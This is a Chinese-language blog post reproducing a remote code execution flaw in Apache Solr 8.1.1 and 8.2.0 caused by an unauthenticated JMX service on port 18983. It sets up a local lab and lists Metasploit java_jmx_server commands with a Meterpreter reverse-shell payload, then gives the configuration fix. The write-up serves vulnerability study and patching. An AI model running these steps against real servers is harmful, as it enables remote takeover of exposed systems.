K0morebi

人间星河

Apache Solr JMX服务 RCE 漏洞复现

简介

Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目。

  • 主要功能包括:
    • full-text search 全文搜索
    • hit highlighting
    • faceted search
    • dynamic clustering 动态聚类
    • document parsing 文档解析
  • Solr可以像数据库一样被使用:
    • 1.运行服务器,创建collection1
    • 2.从外部获取数据 - 向collection1发送不同类型的数据(例如文本,xml文档,pdf文档等任何格式)
    • 3.存储数据并生成索引 - Solr自动索引这些数据并提供快速、丰富的REST API接口,以便于你搜索已有数据

与Solr服务器通信的唯一协议是HTTP,并且默认情况下无需身份验证即可访问,所以Solr容易受到web攻击(SSRF,CSRF等)。

 

漏洞描述

Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在不安全的选项ENABLE_REMOTE_JMX_OPTS="true"。如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

 

影响版本

Apache Solr8.1.1和8.2.0版本

 

搭建环境

Solr 8.20、Java环境、kali系统

因为 Solr 8.20 需要java环境支持,而kali系统本身内置openjdk版本,所以我们无需另外下载java环境。

先下载Apache Solr 8.20的zip

wget https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

不行的话就到 https://archive.apache.org/dist/lucene/solr/ 选择版本下载,然后用Xftp传入或可以的话直接拖到kali中解压

unzip solr-8.2.0.zip

进入bin目录启动solr

./solr start -force

使用kali ip:8983(solr默认端口)访问,成功

 

漏洞复现

我们可以在bin目录中打开solr.in.sh文件,找到ENABLE_REMOTE_JMX_OPTS配置发现默认为true

 

我们可以用MSF中的exploit/multi/misc/java_jmx_server模块进行漏洞复现。(因为用kali搭建漏洞环境原因,使用127.0.0.1本地地址作为攻击目标)

use exploit/multi/misc/java_jmx_server
set RHOST 127.0.0.1
set RPORT 18983
set payload java/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 4444

配置完后一定要检查一下

执行

执行完成,建立连接成功

 

漏洞修复

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

posted @ 2020-06-02 16:23  LLLEO  阅读(396)  评论(0)    收藏  举报